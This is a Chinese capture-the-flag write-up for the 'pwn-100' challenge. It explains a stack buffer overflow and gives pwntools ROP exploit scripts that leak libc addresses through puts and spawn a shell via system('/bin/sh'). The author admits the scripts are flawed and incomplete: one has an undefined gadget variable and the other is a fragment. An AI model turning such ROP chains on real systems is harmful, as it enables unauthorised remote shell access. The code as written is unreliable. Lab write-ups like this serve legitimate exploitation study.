『攻防世界』:进阶区 | pwn-100
防护查看:
Arch: amd64-64-little RELRO: Partial RELRO //RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表 Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
程序为64位程序,我们知道x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8, r9,如果多于6个参数才会用栈我们要先知道这个特性;程序还开启了NX保护。NX位(No execute bit)是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行。由于该保护方式的使用,直接向内存中写入shellcode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)
将程序放入IDA中静态分析:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { FILE *v3; // rdi setbuf(stdin, 0LL); v3 = stdout; setbuf(stdout, 0LL); sub_40068E(v3, 0LL); return 0LL; }
int sub_40068E() { char v1; // [rsp+0h] [rbp-40h] sub_40063D((__int64)&v1, 200); return puts("bye~"); }
1 __int64 __fastcall sub_40063D(__int64 a1, signed int a2) 2 { 3 __int64 result; // rax 4 unsigned int i; // [rsp+1Ch] [rbp-4h] 5 6 for ( i = 0; ; ++i ) 7 { 8 result = i; 9 if ( (signed int)i >= a2 ) 10 break; 11 read(0, (void *)((signed int)i + a1), 1uLL); 12 } 13 return result; 14 }
这个程序的漏洞就在于sub_40068E()函数中给v1开辟的空间0x40字节小于后面sub_40063D()函数对v1变量的写入大小200字节。这里可以利用达到栈溢出的目的。但是这题并没有这么简单,查便上下并没有发现可用的system函数和可用的参数:'/bin/sh'或是'$0'。能够利用的函数有puts和read.
那么可以通过puts泄露出read的真实地址,再使用LibcSearcher获取到libc,进而再利用libc和read的plt地址和暴露出的真实地址得到的offset即可以得到system函数地址和/bin/sh地址。关于libcsearcher的使用可以看我之前发的buu入群题。
exp思路:
1 #coding:utf-8 2 from pwn import * 3 from LibcSearcher import * 4 5 io = process("./pwn-100") 6 elf = ELF("./pwn-100") 7 8 read_got = elf.got['read'] 9 put_plt = elf.sym['puts'] 10 main_addr = 0x4006B8 11 #ROPgadget --binary pwn-100 --only 'pop|ret' 12 pop_rdi_ret = 0x0400763 13 14 payload = b'a'*0x48 15 payload += p64(pop_rdi_ret) 16 payload += p64(read_got) 17 payload += p64(put_plt) 18 payload += p64(main_addr) 19 payload += 'a'*(0xC8-0x48-32) 20 21 io.send(payload) 22 io.recvuntil('bye~\n') 23 #read_addr = u64(a.recv(4)),这个程序为64位,接受地址可能会被/x00截断,所以引用老湿傅的接收方法。 24 #注意,这步重要,必须要去掉末尾的\n符号27. 25 s = io.recv().split('\n')[0] 26 #凑足长度8 27 for i in range(len(s),8): 28 s=s+'\x00' 29 read_addr = u64(s) 30 #入群题有LibcSearcher函数的使用资料链接 31 libc = LibcSearcher("read",read_addr) 32 offset = read_addr - libc.dump('read') 33 #获取两个至关重要的地址 34 system_addr=libc.dump("system")+offset 35 binsh_addr=libc.dump("str_bin_sh")+offset 36 37 payload='a'*0x48+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)+'a'*(0xC8-0x48-24) 38 io.send(payload) 39 io.interactive()
改:这个exp好像还是有问题,会出现多个匹配的libc,而且不能够很好的使用libc中的system地址和str_bin_sh。这里的bin/sh就由我们写入到一个可读可写的内存块上(使用vmmap可以查看)
def stageone(): payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got) \ #pop_rdi后紧接read_got,就把read_got传入了rdi,作为参数 +p64(put_plt)+p64(pop_rdi)+p64(bss) \ #上一行执行ret的时候就跳转到puts_plt,执行到现在就类似于执行了一个puts(read_got) +p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start) #这一行也类似,上一行把bss的地址pop入rdi,然后把7pop入rsi,然后执行readn,就类似于执行了readn(bss,7) payload += "A"*(max_length-len(payload)) #这里就是填充 io.send(payload) sleep(1) io.send("/bin/sh") #payload送出去以后,会先puts,然后执行readn(bss,7),所以就要再送入/bin/sh字符串 print io.recvuntil("bye~") return u64(io.recv()[1:-1].ljust(8,'\0'))
https://blog.csdn.net/weixin_42151611/article/details/91474574,这里有一个老湿傅的wp可以借鉴一下,但是还有一些堆栈平衡的问题需要自己去考虑一下。